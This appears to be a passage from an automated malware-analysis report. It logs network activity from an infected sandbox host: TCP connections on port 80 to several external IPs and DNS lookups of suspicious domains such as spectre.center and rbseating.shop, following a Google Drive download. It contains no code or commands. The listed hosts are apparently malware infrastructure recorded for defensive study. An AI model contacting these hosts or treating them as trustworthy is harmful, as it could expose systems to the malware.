Oct 3, 2024 18:15:45.585973978 CEST	49788	80	192.168.11.20	156.227.17.86
Oct 3, 2024 18:15:46.603313923 CEST	49789	80	192.168.11.20	156.227.17.86
Oct 3, 2024 18:15:46.894681931 CEST	80	49789	156.227.17.86	192.168.11.20
Oct 3, 2024 18:15:46.894861937 CEST	49789	80	192.168.11.20	156.227.17.86
Oct 3, 2024 18:15:46.902600050 CEST	49789	80	192.168.11.20	156.227.17.86
Oct 3, 2024 18:15:46.902650118 CEST	49789	80	192.168.11.20	156.227.17.86
Oct 3, 2024 18:15:46.902698994 CEST	49789	80	192.168.11.20	156.227.17.86
Oct 3, 2024 18:15:46.902868032 CEST	49789	80	192.168.11.20	156.227.17.86
Oct 3, 2024 18:15:47.194029093 CEST	80	49789	156.227.17.86	192.168.11.20
Oct 3, 2024 18:15:47.194044113 CEST	80	49789	156.227.17.86	192.168.11.20
Oct 3, 2024 18:15:47.194127083 CEST	80	49789	156.227.17.86	192.168.11.20
Oct 3, 2024 18:15:47.194523096 CEST	80	49789	156.227.17.86	192.168.11.20
Oct 3, 2024 18:15:47.209755898 CEST	80	49789	156.227.17.86	192.168.11.20
Oct 3, 2024 18:15:47.209767103 CEST	80	49789	156.227.17.86	192.168.11.20
Oct 3, 2024 18:15:47.209939957 CEST	49789	80	192.168.11.20	156.227.17.86
Oct 3, 2024 18:15:48.413431883 CEST	49789	80	192.168.11.20	156.227.17.86
Oct 3, 2024 18:15:49.430819988 CEST	49790	80	192.168.11.20	156.227.17.86
Oct 3, 2024 18:15:49.729285002 CEST	80	49790	156.227.17.86	192.168.11.20
Oct 3, 2024 18:15:49.729444027 CEST	49790	80	192.168.11.20	156.227.17.86
Oct 3, 2024 18:15:49.734515905 CEST	49790	80	192.168.11.20	156.227.17.86
Oct 3, 2024 18:15:50.033152103 CEST	80	49790	156.227.17.86	192.168.11.20
Oct 3, 2024 18:15:50.050538063 CEST	80	49790	156.227.17.86	192.168.11.20
Oct 3, 2024 18:15:50.050633907 CEST	80	49790	156.227.17.86	192.168.11.20
Oct 3, 2024 18:15:50.050862074 CEST	49790	80	192.168.11.20	156.227.17.86
Oct 3, 2024 18:15:50.052649975 CEST	49790	80	192.168.11.20	156.227.17.86
Oct 3, 2024 18:15:50.351041079 CEST	80	49790	156.227.17.86	192.168.11.20
Oct 3, 2024 18:15:55.070211887 CEST	49791	80	192.168.11.20	64.225.91.73
Oct 3, 2024 18:15:55.230582952 CEST	80	49791	64.225.91.73	192.168.11.20
Oct 3, 2024 18:15:55.230770111 CEST	49791	80	192.168.11.20	64.225.91.73
Oct 3, 2024 18:15:55.238291979 CEST	49791	80	192.168.11.20	64.225.91.73
Oct 3, 2024 18:15:55.403037071 CEST	80	49791	64.225.91.73	192.168.11.20
Oct 3, 2024 18:15:55.404742002 CEST	80	49791	64.225.91.73	192.168.11.20
Oct 3, 2024 18:15:55.404752016 CEST	80	49791	64.225.91.73	192.168.11.20
Oct 3, 2024 18:15:55.404920101 CEST	49791	80	192.168.11.20	64.225.91.73
Oct 3, 2024 18:15:56.739720106 CEST	49791	80	192.168.11.20	64.225.91.73
Oct 3, 2024 18:15:57.757067919 CEST	49792	80	192.168.11.20	64.225.91.73
Oct 3, 2024 18:15:57.914390087 CEST	80	49792	64.225.91.73	192.168.11.20
Oct 3, 2024 18:15:57.914561033 CEST	49792	80	192.168.11.20	64.225.91.73
Oct 3, 2024 18:15:57.922125101 CEST	49792	80	192.168.11.20	64.225.91.73
Oct 3, 2024 18:15:58.080255032 CEST	80	49792	64.225.91.73	192.168.11.20
Oct 3, 2024 18:15:58.082304955 CEST	80	49792	64.225.91.73	192.168.11.20
Oct 3, 2024 18:15:58.082317114 CEST	80	49792	64.225.91.73	192.168.11.20
Oct 3, 2024 18:15:58.082474947 CEST	49792	80	192.168.11.20	64.225.91.73
Oct 3, 2024 18:15:59.426656008 CEST	49792	80	192.168.11.20	64.225.91.73
Oct 3, 2024 18:16:00.444262028 CEST	49793	80	192.168.11.20	64.225.91.73
Oct 3, 2024 18:16:00.601423979 CEST	80	49793	64.225.91.73	192.168.11.20
Oct 3, 2024 18:16:00.601633072 CEST	49793	80	192.168.11.20	64.225.91.73
Oct 3, 2024 18:16:00.609354973 CEST	49793	80	192.168.11.20	64.225.91.73
Oct 3, 2024 18:16:00.609375000 CEST	49793	80	192.168.11.20	64.225.91.73
Oct 3, 2024 18:16:00.766670942 CEST	80	49793	64.225.91.73	192.168.11.20
Oct 3, 2024 18:16:00.766685009 CEST	80	49793	64.225.91.73	192.168.11.20
Oct 3, 2024 18:16:00.767977953 CEST	80	49793	64.225.91.73	192.168.11.20
Oct 3, 2024 18:16:00.768060923 CEST	80	49793	64.225.91.73	192.168.11.20
Oct 3, 2024 18:16:00.768224001 CEST	49793	80	192.168.11.20	64.225.91.73
Oct 3, 2024 18:16:02.113569021 CEST	49793	80	192.168.11.20	64.225.91.73
Oct 3, 2024 18:16:03.131072998 CEST	49794	80	192.168.11.20	64.225.91.73
Oct 3, 2024 18:16:03.288507938 CEST	80	49794	64.225.91.73	192.168.11.20
Oct 3, 2024 18:16:03.288659096 CEST	49794	80	192.168.11.20	64.225.91.73
Oct 3, 2024 18:16:03.294049978 CEST	49794	80	192.168.11.20	64.225.91.73
Oct 3, 2024 18:16:03.451169014 CEST	80	49794	64.225.91.73	192.168.11.20
Oct 3, 2024 18:16:03.452441931 CEST	80	49794	64.225.91.73	192.168.11.20
Oct 3, 2024 18:16:03.452451944 CEST	80	49794	64.225.91.73	192.168.11.20
Oct 3, 2024 18:16:03.452734947 CEST	49794	80	192.168.11.20	64.225.91.73
Oct 3, 2024 18:16:03.454556942 CEST	49794	80	192.168.11.20	64.225.91.73
Oct 3, 2024 18:16:03.611857891 CEST	80	49794	64.225.91.73	192.168.11.20
Oct 3, 2024 18:16:08.457912922 CEST	49795	80	192.168.11.20	209.74.64.189
Oct 3, 2024 18:16:08.619482994 CEST	80	49795	209.74.64.189	192.168.11.20
Oct 3, 2024 18:16:08.619703054 CEST	49795	80	192.168.11.20	209.74.64.189
Oct 3, 2024 18:16:08.627356052 CEST	49795	80	192.168.11.20	209.74.64.189
Oct 3, 2024 18:16:08.787808895 CEST	80	49795	209.74.64.189	192.168.11.20
Oct 3, 2024 18:16:08.792951107 CEST	80	49795	209.74.64.189	192.168.11.20
Oct 3, 2024 18:16:08.793028116 CEST	80	49795	209.74.64.189	192.168.11.20
Oct 3, 2024 18:16:08.793592930 CEST	49795	80	192.168.11.20	209.74.64.189
Oct 3, 2024 18:16:10.143028021 CEST	49795	80	192.168.11.20	209.74.64.189
Oct 3, 2024 18:16:11.160406113 CEST	49796	80	192.168.11.20	209.74.64.189
Oct 3, 2024 18:16:11.322079897 CEST	80	49796	209.74.64.189	192.168.11.20
Oct 3, 2024 18:16:11.322220087 CEST	49796	80	192.168.11.20	209.74.64.189
Oct 3, 2024 18:16:11.329756021 CEST	49796	80	192.168.11.20	209.74.64.189
Oct 3, 2024 18:16:11.491343021 CEST	80	49796	209.74.64.189	192.168.11.20
Oct 3, 2024 18:16:11.495929956 CEST	80	49796	209.74.64.189	192.168.11.20
Oct 3, 2024 18:16:11.495940924 CEST	80	49796	209.74.64.189	192.168.11.20
Oct 3, 2024 18:16:11.496073008 CEST	49796	80	192.168.11.20	209.74.64.189
Oct 3, 2024 18:16:12.845513105 CEST	49796	80	192.168.11.20	209.74.64.189
Oct 3, 2024 18:16:13.864839077 CEST	49797	80	192.168.11.20	209.74.64.189
Oct 3, 2024 18:16:14.026045084 CEST	80	49797	209.74.64.189	192.168.11.20
Oct 3, 2024 18:16:14.026233912 CEST	49797	80	192.168.11.20	209.74.64.189
Oct 3, 2024 18:16:14.033932924 CEST	49797	80	192.168.11.20	209.74.64.189
Oct 3, 2024 18:16:14.033957005 CEST	49797	80	192.168.11.20	209.74.64.189
Oct 3, 2024 18:16:14.034020901 CEST	49797	80	192.168.11.20	209.74.64.189
Oct 3, 2024 18:16:14.194454908 CEST	80	49797	209.74.64.189	192.168.11.20
Oct 3, 2024 18:16:14.194551945 CEST	80	49797	209.74.64.189	192.168.11.20
Oct 3, 2024 18:16:14.194561958 CEST	80	49797	209.74.64.189	192.168.11.20
Oct 3, 2024 18:16:14.194572926 CEST	80	49797	209.74.64.189	192.168.11.20
Oct 3, 2024 18:16:14.194874048 CEST	80	49797	209.74.64.189	192.168.11.20
Oct 3, 2024 18:16:14.201206923 CEST	80	49797	209.74.64.189	192.168.11.20
Oct 3, 2024 18:16:14.201216936 CEST	80	49797	209.74.64.189	192.168.11.20
Oct 3, 2024 18:16:14.201462984 CEST	49797	80	192.168.11.20	209.74.64.189
Oct 3, 2024 18:16:15.548036098 CEST	49797	80	192.168.11.20	209.74.64.189
Oct 3, 2024 18:16:16.565432072 CEST	49798	80	192.168.11.20	209.74.64.189
Oct 3, 2024 18:16:16.727917910 CEST	80	49798	209.74.64.189	192.168.11.20
Oct 3, 2024 18:16:16.728053093 CEST	49798	80	192.168.11.20	209.74.64.189
Oct 3, 2024 18:16:16.733154058 CEST	49798	80	192.168.11.20	209.74.64.189
Oct 3, 2024 18:16:16.894186020 CEST	80	49798	209.74.64.189	192.168.11.20
Oct 3, 2024 18:16:16.899935961 CEST	80	49798	209.74.64.189	192.168.11.20
Oct 3, 2024 18:16:16.900132895 CEST	80	49798	209.74.64.189	192.168.11.20
Oct 3, 2024 18:16:16.900275946 CEST	49798	80	192.168.11.20	209.74.64.189
Oct 3, 2024 18:16:16.902039051 CEST	49798	80	192.168.11.20	209.74.64.189
Oct 3, 2024 18:16:17.064413071 CEST	80	49798	209.74.64.189	192.168.11.20
Oct 3, 2024 18:16:21.908030987 CEST	49799	80	192.168.11.20	85.159.66.93
Oct 3, 2024 18:16:22.119677067 CEST	80	49799	85.159.66.93	192.168.11.20
Oct 3, 2024 18:16:22.119895935 CEST	49799	80	192.168.11.20	85.159.66.93
Oct 3, 2024 18:16:22.127906084 CEST	49799	80	192.168.11.20	85.159.66.93
Oct 3, 2024 18:16:22.379971027 CEST	80	49799	85.159.66.93	192.168.11.20
Oct 3, 2024 18:16:23.640014887 CEST	49799	80	192.168.11.20	85.159.66.93
Oct 3, 2024 18:16:23.891819954 CEST	80	49799	85.159.66.93	192.168.11.20
Oct 3, 2024 18:16:24.657669067 CEST	49800	80	192.168.11.20	85.159.66.93
Oct 3, 2024 18:16:24.867316008 CEST	80	49800	85.159.66.93	192.168.11.20
Oct 3, 2024 18:16:24.867492914 CEST	49800	80	192.168.11.20	85.159.66.93
Oct 3, 2024 18:16:24.877330065 CEST	49800	80	192.168.11.20	85.159.66.93
Oct 3, 2024 18:16:25.127836943 CEST	80	49800	85.159.66.93	192.168.11.20
Oct 3, 2024 18:16:26.389447927 CEST	49800	80	192.168.11.20	85.159.66.93
Oct 3, 2024 18:16:26.639760017 CEST	80	49800	85.159.66.93	192.168.11.20
Oct 3, 2024 18:16:27.406795979 CEST	49801	80	192.168.11.20	85.159.66.93
Oct 3, 2024 18:16:27.622195959 CEST	80	49801	85.159.66.93	192.168.11.20
Oct 3, 2024 18:16:27.622292995 CEST	49801	80	192.168.11.20	85.159.66.93
Oct 3, 2024 18:16:27.630004883 CEST	49801	80	192.168.11.20	85.159.66.93
Oct 3, 2024 18:16:27.630053997 CEST	49801	80	192.168.11.20	85.159.66.93
Oct 3, 2024 18:16:27.630104065 CEST	49801	80	192.168.11.20	85.159.66.93
Oct 3, 2024 18:16:27.845379114 CEST	80	49801	85.159.66.93	192.168.11.20
Oct 3, 2024 18:16:27.845391989 CEST	80	49801	85.159.66.93	192.168.11.20
Oct 3, 2024 18:16:27.845572948 CEST	80	49801	85.159.66.93	192.168.11.20
Oct 3, 2024 18:16:29.138834953 CEST	49801	80	192.168.11.20	85.159.66.93
Oct 3, 2024 18:16:29.397991896 CEST	80	49801	85.159.66.93	192.168.11.20
Oct 3, 2024 18:16:30.156261921 CEST	49802	80	192.168.11.20	85.159.66.93
Oct 3, 2024 18:16:30.369997025 CEST	80	49802	85.159.66.93	192.168.11.20
Oct 3, 2024 18:16:30.370197058 CEST	49802	80	192.168.11.20	85.159.66.93
Oct 3, 2024 18:16:30.375211000 CEST	49802	80	192.168.11.20	85.159.66.93
Oct 3, 2024 18:16:30.589745045 CEST	80	49802	85.159.66.93	192.168.11.20
Oct 3, 2024 18:16:30.590028048 CEST	49802	80	192.168.11.20	85.159.66.93
Oct 3, 2024 18:16:30.593843937 CEST	49802	80	192.168.11.20	85.159.66.93
Oct 3, 2024 18:16:30.811431885 CEST	80	49802	85.159.66.93	192.168.11.20
Oct 3, 2024 18:16:35.608232021 CEST	49803	80	192.168.11.20	3.33.130.190
Oct 3, 2024 18:16:35.709305048 CEST	80	49803	3.33.130.190	192.168.11.20
Oct 3, 2024 18:16:35.709543943 CEST	49803	80	192.168.11.20	3.33.130.190
Oct 3, 2024 18:16:35.717132092 CEST	49803	80	192.168.11.20	3.33.130.190
Oct 3, 2024 18:16:35.816237926 CEST	80	49803	3.33.130.190	192.168.11.20
Oct 3, 2024 18:16:35.817627907 CEST	80	49803	3.33.130.190	192.168.11.20
Oct 3, 2024 18:16:35.817887068 CEST	49803	80	192.168.11.20	3.33.130.190
Oct 3, 2024 18:16:37.230878115 CEST	49803	80	192.168.11.20	3.33.130.190
Oct 3, 2024 18:16:37.337953091 CEST	80	49803	3.33.130.190	192.168.11.20
Oct 3, 2024 18:16:38.248657942 CEST	49804	80	192.168.11.20	3.33.130.190
Oct 3, 2024 18:16:38.365442038 CEST	80	49804	3.33.130.190	192.168.11.20
Oct 3, 2024 18:16:38.365611076 CEST	49804	80	192.168.11.20	3.33.130.190
Oct 3, 2024 18:16:38.373182058 CEST	49804	80	192.168.11.20	3.33.130.190
Oct 3, 2024 18:16:38.473232985 CEST	80	49804	3.33.130.190	192.168.11.20
Oct 3, 2024 18:16:39.371257067 CEST	80	49804	3.33.130.190	192.168.11.20
Oct 3, 2024 18:16:39.371395111 CEST	49804	80	192.168.11.20	3.33.130.190
Oct 3, 2024 18:16:39.886490107 CEST	49804	80	192.168.11.20	3.33.130.190
Oct 3, 2024 18:16:39.985470057 CEST	80	49804	3.33.130.190	192.168.11.20
Oct 3, 2024 18:16:40.903904915 CEST	49805	80	192.168.11.20	3.33.130.190
Oct 3, 2024 18:16:41.003794909 CEST	80	49805	3.33.130.190	192.168.11.20
Oct 3, 2024 18:16:41.004368067 CEST	49805	80	192.168.11.20	3.33.130.190
Oct 3, 2024 18:16:41.012140036 CEST	49805	80	192.168.11.20	3.33.130.190
Oct 3, 2024 18:16:41.012188911 CEST	49805	80	192.168.11.20	3.33.130.190
Oct 3, 2024 18:16:41.012236118 CEST	49805	80	192.168.11.20	3.33.130.190
Oct 3, 2024 18:16:41.111840010 CEST	80	49805	3.33.130.190	192.168.11.20
Oct 3, 2024 18:16:41.112571955 CEST	80	49805	3.33.130.190	192.168.11.20
Oct 3, 2024 18:16:41.112581015 CEST	80	49805	3.33.130.190	192.168.11.20
Oct 3, 2024 18:16:41.112590075 CEST	80	49805	3.33.130.190	192.168.11.20
Oct 3, 2024 18:16:41.112597942 CEST	80	49805	3.33.130.190	192.168.11.20
Oct 3, 2024 18:16:41.112606049 CEST	80	49805	3.33.130.190	192.168.11.20
Oct 3, 2024 18:16:41.112613916 CEST	80	49805	3.33.130.190	192.168.11.20
Oct 3, 2024 18:16:41.113279104 CEST	80	49805	3.33.130.190	192.168.11.20
Oct 3, 2024 18:16:41.113413095 CEST	49805	80	192.168.11.20	3.33.130.190
Oct 3, 2024 18:16:42.526567936 CEST	49805	80	192.168.11.20	3.33.130.190
Oct 3, 2024 18:16:42.626749992 CEST	80	49805	3.33.130.190	192.168.11.20
Oct 3, 2024 18:16:43.543878078 CEST	49806	80	192.168.11.20	3.33.130.190
Oct 3, 2024 18:16:43.643157959 CEST	80	49806	3.33.130.190	192.168.11.20
Oct 3, 2024 18:16:43.643310070 CEST	49806	80	192.168.11.20	3.33.130.190
Oct 3, 2024 18:16:43.648374081 CEST	49806	80	192.168.11.20	3.33.130.190
Oct 3, 2024 18:16:43.747957945 CEST	80	49806	3.33.130.190	192.168.11.20
Oct 3, 2024 18:16:43.752046108 CEST	80	49806	3.33.130.190	192.168.11.20
Oct 3, 2024 18:16:43.752055883 CEST	80	49806	3.33.130.190	192.168.11.20
Oct 3, 2024 18:16:43.752330065 CEST	49806	80	192.168.11.20	3.33.130.190
Oct 3, 2024 18:16:43.754138947 CEST	49806	80	192.168.11.20	3.33.130.190
Oct 3, 2024 18:16:43.757432938 CEST	80	49806	3.33.130.190	192.168.11.20
Oct 3, 2024 18:16:43.757585049 CEST	49806	80	192.168.11.20	3.33.130.190
Oct 3, 2024 18:16:43.853305101 CEST	80	49806	3.33.130.190	192.168.11.20
Oct 3, 2024 18:16:48.761709929 CEST	49807	80	192.168.11.20	104.223.44.195
Oct 3, 2024 18:16:48.892111063 CEST	80	49807	104.223.44.195	192.168.11.20
Oct 3, 2024 18:16:48.892299891 CEST	49807	80	192.168.11.20	104.223.44.195
Oct 3, 2024 18:16:48.900708914 CEST	49807	80	192.168.11.20	104.223.44.195
Oct 3, 2024 18:16:49.030639887 CEST	80	49807	104.223.44.195	192.168.11.20
Oct 3, 2024 18:16:49.031102896 CEST	80	49807	104.223.44.195	192.168.11.20
Oct 3, 2024 18:16:49.031194925 CEST	80	49807	104.223.44.195	192.168.11.20
Oct 3, 2024 18:16:49.031409025 CEST	49807	80	192.168.11.20	104.223.44.195
Oct 3, 2024 18:16:50.415430069 CEST	49807	80	192.168.11.20	104.223.44.195
Oct 3, 2024 18:16:51.432739973 CEST	49808	80	192.168.11.20	104.223.44.195
Oct 3, 2024 18:16:51.562510967 CEST	80	49808	104.223.44.195	192.168.11.20
Oct 3, 2024 18:16:51.562779903 CEST	49808	80	192.168.11.20	104.223.44.195
Oct 3, 2024 18:16:51.570363045 CEST	49808	80	192.168.11.20	104.223.44.195
Oct 3, 2024 18:16:51.699882984 CEST	80	49808	104.223.44.195	192.168.11.20
Oct 3, 2024 18:16:51.700529099 CEST	80	49808	104.223.44.195	192.168.11.20
Oct 3, 2024 18:16:51.700984955 CEST	80	49808	104.223.44.195	192.168.11.20
Oct 3, 2024 18:16:51.701090097 CEST	49808	80	192.168.11.20	104.223.44.195
Oct 3, 2024 18:16:53.071093082 CEST	49808	80	192.168.11.20	104.223.44.195
Oct 3, 2024 18:16:54.088504076 CEST	49809	80	192.168.11.20	104.223.44.195
Oct 3, 2024 18:16:54.218120098 CEST	80	49809	104.223.44.195	192.168.11.20
Oct 3, 2024 18:16:54.218301058 CEST	49809	80	192.168.11.20	104.223.44.195
Oct 3, 2024 18:16:54.225970984 CEST	49809	80	192.168.11.20	104.223.44.195
Oct 3, 2024 18:16:54.226018906 CEST	49809	80	192.168.11.20	104.223.44.195
Oct 3, 2024 18:16:54.226069927 CEST	49809	80	192.168.11.20	104.223.44.195
Oct 3, 2024 18:16:54.358846903 CEST	80	49809	104.223.44.195	192.168.11.20
Oct 3, 2024 18:16:54.359070063 CEST	80	49809	104.223.44.195	192.168.11.20
Oct 3, 2024 18:16:54.360663891 CEST	80	49809	104.223.44.195	192.168.11.20
Oct 3, 2024 18:16:54.360891104 CEST	80	49809	104.223.44.195	192.168.11.20
Oct 3, 2024 18:16:54.361035109 CEST	49809	80	192.168.11.20	104.223.44.195
Oct 3, 2024 18:16:55.726727009 CEST	49809	80	192.168.11.20	104.223.44.195
Oct 3, 2024 18:16:56.744398117 CEST	49810	80	192.168.11.20	104.223.44.195
Oct 3, 2024 18:16:56.875322104 CEST	80	49810	104.223.44.195	192.168.11.20
Oct 3, 2024 18:16:56.875518084 CEST	49810	80	192.168.11.20	104.223.44.195
Oct 3, 2024 18:16:56.880548000 CEST	49810	80	192.168.11.20	104.223.44.195
Oct 3, 2024 18:16:57.010621071 CEST	80	49810	104.223.44.195	192.168.11.20
Oct 3, 2024 18:16:57.010637045 CEST	80	49810	104.223.44.195	192.168.11.20
Oct 3, 2024 18:16:57.010647058 CEST	80	49810	104.223.44.195	192.168.11.20
Oct 3, 2024 18:16:57.010901928 CEST	49810	80	192.168.11.20	104.223.44.195
Oct 3, 2024 18:16:57.012689114 CEST	49810	80	192.168.11.20	104.223.44.195
Oct 3, 2024 18:16:57.143214941 CEST	80	49810	104.223.44.195	192.168.11.20
Oct 3, 2024 18:17:02.024255991 CEST	49811	80	192.168.11.20	3.33.130.190
Oct 3, 2024 18:17:02.123473883 CEST	80	49811	3.33.130.190	192.168.11.20
Oct 3, 2024 18:17:02.123676062 CEST	49811	80	192.168.11.20	3.33.130.190
Oct 3, 2024 18:17:02.131227016 CEST	49811	80	192.168.11.20	3.33.130.190
Oct 3, 2024 18:17:02.230201960 CEST	80	49811	3.33.130.190	192.168.11.20
Oct 3, 2024 18:17:02.233164072 CEST	80	49811	3.33.130.190	192.168.11.20
Oct 3, 2024 18:17:02.233397007 CEST	49811	80	192.168.11.20	3.33.130.190
Oct 3, 2024 18:17:03.646902084 CEST	49811	80	192.168.11.20	3.33.130.190
Oct 3, 2024 18:17:03.746099949 CEST	80	49811	3.33.130.190	192.168.11.20
Oct 3, 2024 18:17:04.664267063 CEST	49812	80	192.168.11.20	3.33.130.190
Oct 3, 2024 18:17:04.763829947 CEST	80	49812	3.33.130.190	192.168.11.20
Oct 3, 2024 18:17:04.764028072 CEST	49812	80	192.168.11.20	3.33.130.190
Oct 3, 2024 18:17:04.771584988 CEST	49812	80	192.168.11.20	3.33.130.190
Oct 3, 2024 18:17:04.871246099 CEST	80	49812	3.33.130.190	192.168.11.20
Oct 3, 2024 18:17:04.879632950 CEST	80	49812	3.33.130.190	192.168.11.20
Oct 3, 2024 18:17:04.879945040 CEST	49812	80	192.168.11.20	3.33.130.190
Oct 3, 2024 18:17:06.286947012 CEST	49812	80	192.168.11.20	3.33.130.190
Oct 3, 2024 18:17:06.385921001 CEST	80	49812	3.33.130.190	192.168.11.20
Oct 3, 2024 18:17:07.304306984 CEST	49813	80	192.168.11.20	3.33.130.190
Oct 3, 2024 18:17:07.404316902 CEST	80	49813	3.33.130.190	192.168.11.20
Oct 3, 2024 18:17:07.404484987 CEST	49813	80	192.168.11.20	3.33.130.190
Oct 3, 2024 18:17:07.412173033 CEST	49813	80	192.168.11.20	3.33.130.190
Oct 3, 2024 18:17:07.412211895 CEST	49813	80	192.168.11.20	3.33.130.190
Oct 3, 2024 18:17:07.412277937 CEST	49813	80	192.168.11.20	3.33.130.190
Oct 3, 2024 18:17:07.513166904 CEST	80	49813	3.33.130.190	192.168.11.20
Oct 3, 2024 18:17:07.513241053 CEST	80	49813	3.33.130.190	192.168.11.20
Oct 3, 2024 18:17:07.513293028 CEST	80	49813	3.33.130.190	192.168.11.20
Oct 3, 2024 18:17:07.513335943 CEST	80	49813	3.33.130.190	192.168.11.20
Oct 3, 2024 18:17:07.513385057 CEST	80	49813	3.33.130.190	192.168.11.20
Oct 3, 2024 18:17:07.513432026 CEST	80	49813	3.33.130.190	192.168.11.20
Oct 3, 2024 18:17:07.513483047 CEST	80	49813	3.33.130.190	192.168.11.20
Oct 3, 2024 18:17:08.428966999 CEST	80	49813	3.33.130.190	192.168.11.20
Oct 3, 2024 18:17:08.429202080 CEST	49813	80	192.168.11.20	3.33.130.190
Oct 3, 2024 18:17:08.927027941 CEST	49813	80	192.168.11.20	3.33.130.190
Oct 3, 2024 18:17:09.027137041 CEST	80	49813	3.33.130.190	192.168.11.20
Oct 3, 2024 18:17:09.944340944 CEST	49814	80	192.168.11.20	3.33.130.190
Oct 3, 2024 18:17:10.044092894 CEST	80	49814	3.33.130.190	192.168.11.20
Oct 3, 2024 18:17:10.044270992 CEST	49814	80	192.168.11.20	3.33.130.190
Oct 3, 2024 18:17:10.049273968 CEST	49814	80	192.168.11.20	3.33.130.190
Oct 3, 2024 18:17:10.149077892 CEST	80	49814	3.33.130.190	192.168.11.20
Oct 3, 2024 18:17:10.152882099 CEST	80	49814	3.33.130.190	192.168.11.20
Oct 3, 2024 18:17:10.152892113 CEST	80	49814	3.33.130.190	192.168.11.20
Oct 3, 2024 18:17:10.153081894 CEST	49814	80	192.168.11.20	3.33.130.190
Oct 3, 2024 18:17:10.154892921 CEST	49814	80	192.168.11.20	3.33.130.190
Oct 3, 2024 18:17:10.157872915 CEST	80	49814	3.33.130.190	192.168.11.20
Oct 3, 2024 18:17:10.158097982 CEST	49814	80	192.168.11.20	3.33.130.190
Oct 3, 2024 18:17:10.254595995 CEST	80	49814	3.33.130.190	192.168.11.20
Oct 3, 2024 18:18:23.894850969 CEST	49799	80	192.168.11.20	85.159.66.93
Oct 3, 2024 18:18:26.644232035 CEST	49800	80	192.168.11.20	85.159.66.93
Oct 3, 2024 18:18:29.409277916 CEST	49801	80	192.168.11.20	85.159.66.93

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Oct 3, 2024 18:10:36.925862074 CEST	62215	53	192.168.11.20	1.1.1.1
Oct 3, 2024 18:10:37.022139072 CEST	53	62215	1.1.1.1	192.168.11.20
Oct 3, 2024 18:10:37.630052090 CEST	55190	53	192.168.11.20	1.1.1.1
Oct 3, 2024 18:10:37.725225925 CEST	53	55190	1.1.1.1	192.168.11.20
Oct 3, 2024 18:11:24.028412104 CEST	53094	53	192.168.11.20	1.1.1.1
Oct 3, 2024 18:11:24.396662951 CEST	53	53094	1.1.1.1	192.168.11.20
Oct 3, 2024 18:11:40.564018011 CEST	50141	53	192.168.11.20	1.1.1.1
Oct 3, 2024 18:11:40.731271982 CEST	53	50141	1.1.1.1	192.168.11.20
Oct 3, 2024 18:11:54.154793978 CEST	56952	53	192.168.11.20	1.1.1.1
Oct 3, 2024 18:11:54.256622076 CEST	53	56952	1.1.1.1	192.168.11.20
Oct 3, 2024 18:12:08.385953903 CEST	64191	53	192.168.11.20	1.1.1.1
Oct 3, 2024 18:12:08.657934904 CEST	53	64191	1.1.1.1	192.168.11.20
Oct 3, 2024 18:12:22.070334911 CEST	59521	53	192.168.11.20	1.1.1.1
Oct 3, 2024 18:12:22.192182064 CEST	53	59521	1.1.1.1	192.168.11.20
Oct 3, 2024 18:12:35.647877932 CEST	56887	53	192.168.11.20	1.1.1.1
Oct 3, 2024 18:12:36.209285021 CEST	53	56887	1.1.1.1	192.168.11.20
Oct 3, 2024 18:12:49.892512083 CEST	59722	53	192.168.11.20	1.1.1.1
Oct 3, 2024 18:12:50.060823917 CEST	53	59722	1.1.1.1	192.168.11.20
Oct 3, 2024 18:13:03.201917887 CEST	56584	53	192.168.11.20	1.1.1.1
Oct 3, 2024 18:13:03.328679085 CEST	53	56584	1.1.1.1	192.168.11.20
Oct 3, 2024 18:13:16.620819092 CEST	57489	53	192.168.11.20	1.1.1.1
Oct 3, 2024 18:13:16.726519108 CEST	53	57489	1.1.1.1	192.168.11.20
Oct 3, 2024 18:13:31.773744106 CEST	62935	53	192.168.11.20	1.1.1.1
Oct 3, 2024 18:13:32.234524012 CEST	53	62935	1.1.1.1	192.168.11.20
Oct 3, 2024 18:13:59.283288002 CEST	57026	53	192.168.11.20	1.1.1.1
Oct 3, 2024 18:13:59.481240034 CEST	53	57026	1.1.1.1	192.168.11.20
Oct 3, 2024 18:14:12.593020916 CEST	62501	53	192.168.11.20	1.1.1.1
Oct 3, 2024 18:14:13.394351006 CEST	53	62501	1.1.1.1	192.168.11.20
Oct 3, 2024 18:14:27.027256012 CEST	59549	53	192.168.11.20	1.1.1.1
Oct 3, 2024 18:14:27.140135050 CEST	53	59549	1.1.1.1	192.168.11.20
Oct 3, 2024 18:14:35.197643995 CEST	57608	53	192.168.11.20	1.1.1.1
Oct 3, 2024 18:14:35.693309069 CEST	53	57608	1.1.1.1	192.168.11.20
Oct 3, 2024 18:14:49.319484949 CEST	58336	53	192.168.11.20	1.1.1.1
Oct 3, 2024 18:14:49.874886036 CEST	53	58336	1.1.1.1	192.168.11.20
Oct 3, 2024 18:15:03.426552057 CEST	56113	53	192.168.11.20	1.1.1.1
Oct 3, 2024 18:15:04.440397024 CEST	56113	53	192.168.11.20	9.9.9.9
Oct 3, 2024 18:15:04.814119101 CEST	53	56113	1.1.1.1	192.168.11.20
Oct 3, 2024 18:15:05.191602945 CEST	53	56113	9.9.9.9	192.168.11.20

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Oct 3, 2024 18:10:36.925862074 CEST	192.168.11.20	1.1.1.1	0x6fcc	Standard query (0)	drive.google.com	A (IP address)	IN (0x0001)	false
Oct 3, 2024 18:10:37.630052090 CEST	192.168.11.20	1.1.1.1	0xab4f	Standard query (0)	drive.usercontent.google.com	A (IP address)	IN (0x0001)	false
Oct 3, 2024 18:11:24.028412104 CEST	192.168.11.20	1.1.1.1	0x5cec	Standard query (0)	www.spectre.center	A (IP address)	IN (0x0001)	false
Oct 3, 2024 18:11:40.564018011 CEST	192.168.11.20	1.1.1.1	0x80c9	Standard query (0)	www.rbseating.shop	A (IP address)	IN (0x0001)	false
Oct 3, 2024 18:11:54.154793978 CEST	192.168.11.20	1.1.1.1	0x5177	Standard query (0)	www.my1pgz.pro	A (IP address)	IN (0x0001)	false
Oct 3, 2024 18:12:08.385953903 CEST	192.168.11.20	1.1.1.1	0x686f	Standard query (0)	www.bejho.net	A (IP address)	IN (0x0001)	false
Oct 3, 2024 18:12:22.070334911 CEST	192.168.11.20	1.1.1.1	0xb654	Standard query (0)	www.guvosh.info	A (IP address)	IN (0x0001)	false
Oct 3, 2024 18:12:35.647877932 CEST	192.168.11.20	1.1.1.1	0x197d	Standard query (0)	www.animazor.online	A (IP address)	IN (0x0001)	false
